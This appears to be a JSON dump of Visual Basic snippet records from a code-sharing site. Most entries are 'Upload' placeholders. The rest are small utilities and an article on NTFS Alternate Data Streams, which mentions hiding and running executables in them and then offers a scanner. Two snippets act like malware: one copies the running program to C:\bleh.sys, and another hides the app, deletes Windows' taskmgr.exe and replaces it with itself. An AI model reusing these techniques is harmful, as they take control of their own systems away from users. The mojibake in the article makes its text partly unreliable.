WorldId":1,"id":48209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48213,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48230,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47201,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47234,"LineNumber":1,"line":"Private Sub Form_Load() ' the form1 loading sub\nIf App.PrevInstance Then ' check if running\n MsgBox \"Error:\" & vbCrLf & \"Please switch to your already running app.\" ' error message\n Dim frm As Form ' set frm variable as a form\n For Each frm In Forms ' get all forms\n Unload frm ' unload the form\n Set frm = Nothing ' set frm variable as nothing\n Next frm ' go to the for each frm again\n End If ' end the if statement\nEnd Sub ' end the form load"},{"WorldId":1,"id":47236,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47279,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47299,"LineNumber":1,"line":"NTFS Alternate Data Streams (ADS)\nWhat they are, and what they mean for you.\n1. Introduction\nTo properly introduce the \ninsertion of ADS support in NTFS, which started with Windows NT 3.1, we must \nfirst take a look in the Macintosh world. As some of you might know, Macintosh \nfiles do not generally have an extension. Yet, the OS is capable of recognizing \nwho made the application and properly execute it (along with coloring the file \nbased on your settings or other Mac features). This is possible because \nMacintosh files have two ΓÇ£forksΓÇ¥. The resource fork, which contains this \ninformation, and the data fork, which contains the executable code itself (as a \nside note, this has changed in Mac OS X). When Windows NT 3.1 came out, it had \ncompatibility support for AppleTalk, meaning that NT and MacOS users could \neasily exchange data. This caused a problem however, since there was no way to \ncopy the resource fork and the data fork of a file directly onto the NT file \nsystem. Doing so would only copy the data fork, since the resource fork wasnΓÇÖt \nphysically in the file, but in a separate stream. (In other words, the data and \nresource fork donΓÇÖt occupy the same cluster on disk, or are part of the same \ncontiguous file). Microsoft then had to implement NTFS ADS, which meant that NT \nwould see the resource fork as another stream, and would be able to copy it \nalong with the file onto a Macintosh computer. Extremely low-level and \ninaccessible by most APIs or programs, ADS didnΓÇÖt become popular until much \nlater.\n2. The dawn of ADS\nWith Windows NT 4, ADS took on a \nmore important place in the heart of the NT OS. NT 4 started supporting Hard \nLinks (Hard Links is something from the Unix world, itΓÇÖs the ability to \nlogically ΓÇ£mapΓÇ¥ a file or folder to another one. For example, \nc:\\mymusic\\mp3\\alex\\rock\\heavy\\2002 can be mapped to C:\\Heavy Rock 2002. While \nthis seems much like a shortcut, a shortcut is an extra file that the Shell has \nto interpret. You cannot directly do file operations on a shortcut, and you \ncanΓÇÖt use it in the command prompt. A Hard Link is a ΓÇ£physical shortcutΓÇ¥.) and \nsome anti-virus companies started writing checksums in a special ADS. However, \nno official API was made for Hard Links, and checksum ADS were really rare. This \nchanged in Windows 2000.\n3. The golden age of ADS\nWindows 2000 brought a number of \nnew features to NTFS, sparse files, summary information data, ACLs and the \nEncrypted File System, and an easy to use API to create hard links. All this \ninformation is stored in the ADS of a file. For example, right-clicking on a \nmovie and going to properties allows you to enter information such as ΓÇ£Author, \nKeyword, TitleΓÇ¥. This information is not written in the file itself, but in an \nADS. Encrypting a file will also create a special ADS. Since ADS was becoming \nmore known, some viruses are also known to exploit ADS. Why? Because Microsoft \nleft a lot of holes in the implementation.\n4. WhatΓÇÖs an ADS anyways?\nAn alternate data stream, as \nmentioned in the introduction, is any kind of data that can be attached TO a \nfile but not IN the file on an NTFS system. The Master File Table of the \npartition will contain a list of all the data streams that a file contains, and \nwhere their physical location on the disk is. Therefore, alternate data streams \nare not present in the file, but attached to it trough the file table. A typical \nfile contains only a single data stream, called $DATA. This is the data \ncontained in the file itself, and is not an ALTERNATE data stream, since it is \nthe data stream itself. \nThe convention that Microsoft \nchose for file naming is the following: \nfilename.extetsion:alternatedatastreamname:$DATA. When you open a file, by \nany normal means, you are therefore accessing the $DATA stream. Since there is \nno alternate data stream, the file system actually opens \nfilename.extension::$DATA. If however this file had an alternate data stream \ncalled ΓÇ£joeΓÇ¥, and you wanted to open it, you would have to open \nfilename.extension:joe:$DATA. I hope this is clear until now.\nIn the previous paragraphs, I \nmentioned that an ADS can store Hard Links, Encryption, Summary Information, \netc. However, these are the uses that the OS has for an ADS. You, the user, can \ncreate an infinity of ADS for your own usage. LetΓÇÖs see why this is useful.\n5. What ADS mean for you\nIf you understood everything \nuntil now, you have noticed that ADS are not stored in the file itself. You \nmight be asking yourself ΓÇ£if I store 1MB worth of text into an ADS of a file, \nwill the file become 1MB bigger?ΓÇ¥ HereΓÇÖs the great side about ADSΓÇªit wonΓÇÖt. \nSince the data is never stored in the file itself, the APIs to retrieve the size \nof the file will never take into account the ADS you mightΓÇÖve added (or that the \nOS added). Just like Explorer will only display and open the $DATA data stream \n(the file itself), Explorer will only show the size of $DATA (the size of the \nfile itself). Explorer is not exhibiting a bug; any application calling the \nnormal Windows API will exhibit the same behavior. So what does this mean? It \nmeans you can store 2 Gigabytes of data into the ADS of an empty file and that \nthe OS will display the file as empty. Opening this file with notepad will \nresult in a blank text page, and even a hex editor would display the file as \nempty. The 2GB would however be shaved off your disk, and would you forget the \nexistence of this ADS, only a reformat would reclaim your space.\n6. Small summary\nTo review what weΓÇÖve learnt till \nnow: An NTFS file is made of data streams. The main data stream, called $DATA is \nthe file itself and can be opened, read, written or otherwise modified by any \napplication. You will never see any mention of this data stream. The second type \nof data stream is called an alternate data stream, or ADS. Any kind of \ninformation can be stored in an ADS, and it will remain invisible to the user. \nThe data will never be seen when opening the file, and the file size of the file \nwill never change. An example of an OS-created ADS is the Summary Information \nyou can write about a file. A user can create any number of ADS he wants and \nstore whatever information inside.\n7. Clarifications (practical \nexample)\nI mention that a user will not \nsee an ADS, but that he can create them. I then say that an ADS will be \ninvisible to the userΓÇªwhat is the point then? You must be wondering, and this \nchapter will offer an easy example so you can understand better. Suppose that \nyou have hundreds of passwords on numerous sites. You share the computer with \nyour roommate, who isnΓÇÖt exactly a genius in computers, but would easily find \nΓÇ£passwords.txtΓÇ¥, or even something more ΓÇ£subtleΓÇ¥. HereΓÇÖs a trick, using ADS, \nthat you can use. First, open notepad and paste some useless readme text. Save \nthis file to c:\\readme.txt. Now, click on the start menu, then press run, and \ntype ΓÇ£notepad c:\\readme.txt:passwords.txtΓÇ¥. Press OK. Notepad will ask if you \nwant to create the file, since itΓÇÖs empty. Of course, Notepad is actually \nreferring to the data stream. Press OK, and then write down your passwords. \nClose Notepad, and save the file when it asks you. Now for the test. Open \nc:\\readme.txt from explorer, or from Notepad or the Run command. You will see \nyour original readme text, with no mention of your passwords. Check the file \nsize in Explorer or DOSΓÇªit hasnΓÇÖt changed. Now go back to the Run command, and \ntype ΓÇ£notepad c:\\readme.txt:passwords.txtΓÇ¥. Notepad will open your passwords. \nNow, assuming that you delete the Run previously-typed commands, your friend \nwill never have the idea of entering that command. Even if he knew about ADS, \nhow would he know which file youΓÇÖve stored it in, or what youΓÇÖve called your \nADS? If you want, you can also try running ΓÇ£notepad \nc:\\windows\\explorer.exe:passwords.txtΓÇ¥ and write your information there. Windows \nand Explorer will run fine, yet your passwords will be linked to explorer.exe. I \ndonΓÇÖt suggest you do that in this example, since the only way to delete the ADS \nis to delete the file itself (or use my programΓÇª)\n8. Malicious usage\nΓÇ£So waitΓÇªif *I* can store hidden \ninformation on my own computerΓÇªcanΓÇÖt a hacker or a Trojan horse program store \ninformation or even executable code in ADS? CanΓÇÖt a joker create a 5GB file on \nmy computer without me ever finding out?ΓÇ¥ Unfortunately, the answer to all those \nquestions is yes. Executable code can be placed in an ADS, and even executed, \nwithout ever touching the host program. ThatΓÇÖs rightΓÇª using API or the ΓÇ£StartΓÇ¥ \ncommand in DOS, you can execute ΓÇ£Explorer.exe:Trojan.exeΓÇ¥. What this will do is \nexecute the Trojan program, without Explorer ever running. To make matters \nworse, Windows 2000 displays ΓÇ£Explorer.exeΓÇ¥ in Task Manager, not ΓÇ£Trojan.exeΓÇ¥. \nThankfully, XP has fixed this horrible security bug. (but it still only shows \nexplorer.exe:Trojan.exeΓÇªyou could call the file something less conspicuous). \nThis is NOT a tutorial on how to use ADS to hack, so I will not give any details \non how to copy executable code or running it. Unfortunately, a Trojan mightΓÇÖve \nalready done that on your system, or a more computer-savvy ΓÇ£friendΓÇ¥. HereΓÇÖs the \ngood news: Using Kernel Native APIs and the Backup APIs, it is possible to \nrapidly seek out any ADS on your hard drive, as well as read/write to them, or \ndelete them. \n9. My program\nThe program attached is a fully \nworking example, complete with comments about almost every line. It is written \nin pure API, so even the Form itself is created using API, not the Visual Basic \nDesigner. IΓÇÖve done this for speed, and also to teach you a bit more about API \ncontrols. You can see in the screenshot that it doesnΓÇÖt look bad at all. The \napplication is split into modules, so if you simply want to include Stream \nfunctionality in your application, you can use the StreamModule.\n10. Final notes\nI greatly recommend compiling \nthe application into a Native EXE for much faster speed. It should take less \nthen two minutes to scan your whole disk (It takes me 30 seconds, but I have a \nfast CPU and HD so IΓÇÖm estimating). If you find any suspicious ADS (you will be \nable to see their name) or huge sizes (you will also see the size), you can use \nthe Open button to delete malicious ones, or simply to view/edit the ones you \nare wondering about. Finally, you can create your own ADS. For security reasons, \nmy program only allows you to write clear-text ADS, not executable ones.\nEnjoy! This is my first big \narticle, so if you find it too hard to understand, please donΓÇÖt hesitate to \nwrite your comment down. If you have any trouble, or any other comment, also \nfeel free to write it. I will happily accept any criticism or ideas =) IΓÇÖm only \n17 years old so sorry if my English isnΓÇÖt spotless (ItΓÇÖs my third language).\nFAQ (Frequently Asked \nQuestions)┬á\n1. Why canΓÇÖt the Message Box \nshow executable streams?┬á\nAs I said before, this \nproject doesnΓÇÖt support binary streams for security reasons. The module is very \nclearly written and you can always use different methods to display the buffer \ncontaining the data if you wish, after calling ViewStream.\n┬á2. Why are there two \nprojects? WhatΓÇÖs _NOAPI?┬á\nBecause some people might \njust be interested in the StreamModule itself and the framework used to \nmanipulate ADS, I have included a project made with VBΓÇÖs designer and using OCX \nfiles that come with VB. This project has the suffix _NOAPI. While itΓÇÖs meant \nfor beginners, I strongly recommend even intermediate programmers to look at the \nAPI version. ItΓÇÖs much faster because of the list view and status bar being in \nAPI.┬á\n3. The _NOAPI version only \ncontains a form with some code, and the StreamModuleΓÇª why does it make a bigger \nEXE then the API version, which has 4 modules filled with code?\nJust because VBΓÇÖs designer \nhides the code for you doesnΓÇÖt mean itΓÇÖs there. My API implementation is faster \nand cleaner then what VB does in the background. And it needs no OCX files at \nall.\n┬á4. I am an advanced \nprogrammer or server admin, what are the advantages of using the API version?\nFirstly, you will notice that \nthe scanning is much faster (almost twice as fast), unless you remove the status \nbar refresh on each file (but then your application will look hung for two \nminutes). Secondly, the API version is 36kb, plus the 1MB VB6 runtime. The \n_NOAPI version is 40kb, plus the 1MB VB6 runtime, plus the comdlg32.ocx, plus \nthe comctl32.ocx, all together totaling over 2MB. \nFinally, using one of the \nmany API-Call add-ons for VBScript, you can create an automated VBS file that \nwill scan your server or active directory for any streams, based on your \ncriteria, all while showing the same GUI as in my VB example, since it was all \ncreated in API.\n"},{"WorldId":1,"id":47304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48508,"LineNumber":1,"line":"'Paste it into a module and call from anywhere!\nPublic Function GetTok(strString As String, N As Integer, strSep As String)\nOn Error Resume Next\nDim GArray\nGArray = Split(strString, strSep)\nIf N = 0 Then\n'if you specify 0 as N, then the function returns how much tokens exists in your string\nGetTok = UBound(GArray) + 1\nExit Function\nEnd If\nGetTok = GArray(n - 1)\nEnd Function"},{"WorldId":1,"id":48509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48521,"LineNumber":1,"line":"''''''''''''''''''''''''''''''''''''\n'Coded by: Joker '\n'September - 15 '\n'2003 '\n'┬⌐2003 |Ph|r|o|z|e|n| Entertainment'\n''''''''''''''''''''''''''''''''''''\nApp.TaskVisible = True\n'Simple Huh? (o: !"},{"WorldId":1,"id":48524,"LineNumber":1,"line":"\n<pre>Create a new project and click on Components... under Project menu. in the control tab, \nscroll down until you see 'Microsoft Internet Control'. Check it and click OK. An icon will appear in the Toolbox. Double click the icon \nto insert a control. Then, doucle click the form and insert the following code in Form_Load()\n\nWebbrowser1.navigate gifpath\nExample :</Pre><pre>webbrowser1.navigate app.path & "\\" & \n"quick.gif"\nor\nwebbrowser1.navigate "C:\\draw.gif"\n</Pre><hr><pre>This tutorial ends here\n\n</Pre>"},{"WorldId":1,"id":48526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48545,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48560,"LineNumber":1,"line":"'==================================='\n' This code has been provided for '\n' use as FREEWARE - you may edit '\n' or change any part of it for your '\n' own needs. But please give credit'\n' to myself, and do not sell this '\n' unmodified code '\n' By Steve Gillham '\n'==================================='\n\nPrivate Sub TreeView1_NodeCheck(ByVal node As MSComctlLib.node)\n Call CheckChild(TreeView1, node) 'perform check on child nodes\n \nEnd Sub\nPrivate Sub CheckChild(Tree As TreeView, CurrentNode As node)\n Dim ParentIndex 'used to find out the index of the parent node from the child node that was clicked\n Dim CheckChecked As Integer 'Used to decide whether or not parent is to be checked\n Dim j As Integer 'Counter\n \n 'This code works by finding the parent node of the node\n 'that you clicked on and then looking to see if all of\n 'the other same level nodes (as the one you clicked)\n 'are checked. If so it then checks the parent node and Vice Versa\n \n If CurrentNode.Checked = True Then 'If node is checked then check parent node ONLY if ALL child nodes are checked\n \n If Tree.Nodes.Item(CurrentNode.Index).Checked = True Then 'If \"My Node\"(My Node's Index) is checked then\n ParentIndex = Tree.Nodes.Item(CurrentNode.Index).Parent.Index 'locate index of parent node\n For j = 1 To Tree.Nodes.Item(ParentIndex).Children 'run loop to find out which child nodes\n If Tree.Nodes.Item(ParentIndex + j).Checked = False Then 'are checked and which are not...\n Me.BackColor = vbRed 'Store value of check/uncheck as 0 for\n CheckChecked = CheckChecked + 0 'unchecked and 1 for checked, add to\n ElseIf Tree.Nodes.Item(ParentIndex + j).Checked = True Then 'previous value\n Me.BackColor = vbGreen\n CheckChecked = CheckChecked + 1\n End If\n Next j\n If CheckChecked = Tree.Nodes.Item(ParentIndex).Children Then 'if the number of checked nodes is equal\n Tree.Nodes.Item(ParentIndex).Checked = True 'to number of child nodes then all child\n Else 'nodes are checked so check parent node\n Tree.Nodes.Item(ParentIndex).Checked = False\n End If\n End If\n ElseIf CurrentNode.Checked = False Then 'if the current node is unchecked then\n ParentIndex = Tree.Nodes.Item(CurrentNode.Index).Parent.Index 'uncheck the parent node as ALL child nodes\n Tree.Nodes.Item(ParentIndex).Checked = False 'must be checked to before the parent node is checked\n End If\nEnd Sub\n"},{"WorldId":1,"id":48562,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48567,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48582,"LineNumber":1,"line":"'*needs to be compiled before it copies its self\nPublic Sub CopySelf(Path As String, NewName As String)\n MyPath = App.Path & \"\\\" & App.EXEName & \".EXE\"\n NewLocation = Path & \"\\\" & NewName\n On Error Resume Next\n If LCase(MyPath) <> LCase(NewLocation) Then\n FileCopy MyPath, NewLocation\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\nCall CopySelf(\"C:\\\", \"bleh.sys\")\nEnd Sub"},{"WorldId":1,"id":48585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48587,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48594,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48603,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48616,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48620,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48636,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48669,"LineNumber":1,"line":"View the ZIP file for article and project files,\nPlease vote if you like it!"},{"WorldId":1,"id":48676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48683,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48687,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48692,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48704,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48714,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48717,"LineNumber":1,"line":"Private Sub cmdAddRTBs_Click() 'Adds rtb2 to the end of rtb1\n 'Set insert point (can be at ANY point in rtb1)\n rtb1.SelStart = Len(rtb1.Text)\n \n 'Select rich text to add\n rtb2.SelStart = 0\n rtb2.SelLength = Len(rtb2.Text)\n \n 'Add the selected rich text\n rtb1.SelRTF = rtb2.SelRTF\nEnd Sub"},{"WorldId":1,"id":48719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48720,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48724,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48733,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48743,"LineNumber":1,"line":"Sub TabloLinkleriniKontrolEt(sSourceFile As String)\n Dim daTaban As Database, tbTablo As TableDef\n Set daTaban = CurrentDb\n For Each tbTablo In daTaban.TableDefs\n If InStr(tbTablo.Connect, \"DATABASE=\") > 0 Then\n Debug.Print tbTablo.Connect\n If tbTablo.Connect <> \";DATABASE=\" & Application.CurrentProject.Path & \"\\\" & sSourceFile Then\n tbTablo.Connect = \";DATABASE=\" & Application.CurrentProject.Path & \"\\\" & sSourceFile\n tbTablo.RefreshLink\n End If\n End If\n Next\n daTaban.Close\nEnd Sub\n"},{"WorldId":1,"id":48745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48754,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48766,"LineNumber":1,"line":"Private Sub Command1_Click()\n AbortSystemShutdown (GetName)\nEnd Sub"},{"WorldId":1,"id":48768,"LineNumber":1,"line":"Private Sub Form_Load()\n ' Hides the application from the taskmanager\n \n TaskVisible = False\n ' Makes a backup directory for taskmgr.exe\n \n MkDir \"C:\\TASKMANAGER-BACKUP\"\n \n ' Makes a backup of taskmgr.exe .\n \n FileCopy \"C:\\WINDOWS\\System32\\taskmgr.exe\", \"C:\\TASKMANAGER-BACKUP\\taskmgr1.exe\"\n \n ' Deletes the taskmgr.exe file .\n \n Kill \"C:\\WINDOWS\\System32\\taskmgr.exe\"\n \n ' Copies this application and temporary bypassses it for taskmgr.exe .\n \n FileCopy App.Path & \"\\project1.exe\", \"C:\\WINDOWS\\System32\\taskmgr.exe\"\n \nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n \n ' Copies the original file back to the original location on form unload .\n FileCopy \"C:\\TASKMANAGER-BACKUP\\taskmgr1.exe\", \"C:\\WINDOWS\\System32\\taskmgr.exe\"\n \n 'Deletes the temporary file\n \n Kill \"C:\\TASKMANAGER-BACKUP\\taskmgr1.exe\"\n \n 'Deletes the temporary backup folder\n \n RmDir (\"C:\\TASKMANAGER-BACKUP\")\n \nEnd Sub\n"},{"WorldId":1,"id":48769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48799,"LineNumber":1,"line":"'=================InTag Function====================\n'=================================\n'(C) Jason Yong 2003\n'=================================\n'This function will find what text is in a tag, like [b]this[/b]\n'it will return different values depending on the ReturnCode\n'ReturnCode = 1 will return the text\n' 2 will return where the first tag starts\n' 3 will return where the text in the tag starts\n' 4 will return where the tag ends.\n'===================================================\nFunction InTag(Text As String, StartTag As String, EndTag As String, ReturnCode As Integer) As String\nDim t As Long\nDim r As Long\n For t = 1 To Len(Text)\n If Mid(Text, t, Len(StartTag)) = StartTag Then\n For r = t To Len(Text)\n If Mid(Text, r, Len(EndTag)) = EndTag Then\n If ReturnCode = 1 Or ReturnCode = 0 Then InTag = Mid(Text, t + Len(StartTag), r - (t + Len(StartTag)))\n If ReturnCode = 2 Then InTag = Str(t)\n If ReturnCode = 3 Then InTag = Str(t) + Len(StartTag)\n If ReturnCode = 4 Then InTag = Str(r - (t + Len(StartTag) + Len(EndTag)))\n End If\n Next\n End If\n Next\nEnd Function"},{"WorldId":1,"id":48801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48862,"LineNumber":1,"line":"Private Declare Function GetSystemMenu \nLib "user32" (ByVal hwnd As \nLong, ByVal bRevert \nAs Long) As Long \nPrivate Declare Function GetMenuItemCount \nLib "user32" (ByVal hMenu As Long) As Long \nPrivate Declare Function RemoveMenu Lib \n"user32" (ByVal hMenu As \nLong, ByVal nPosition As \nLong, ByVal wFlags As \nLong) As Long \nPrivate Declare Function DrawMenuBar Lib \n"user32" (ByVal hwnd As \nLong) As Long \nPrivate Const MF_BYPOSITION = &H400& \nPrivate Const MF_DISABLED = &H2& \nPublic Sub DisableX(Frm As \n Form) \n Dim hMenu As Long \n Dim nCount As Long \n hMenu = GetSystemMenu(Frm.hwnd, 0) \n nCount = GetMenuItemCount(hMenu) \n Call RemoveMenu(hMenu, nCount - 1, \n MF_DISABLED Or MF_BYPOSITION) \n DrawMenuBar Frm.hwnd \n End Sub\nPrivate Sub Command1_Click() \n DisableX Me \n End Sub"},{"WorldId":1,"id":48868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48963,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48964,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48997,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48998,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49027,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49033,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51721,"LineNumber":1,"line":"Upload"},{"WorldId":1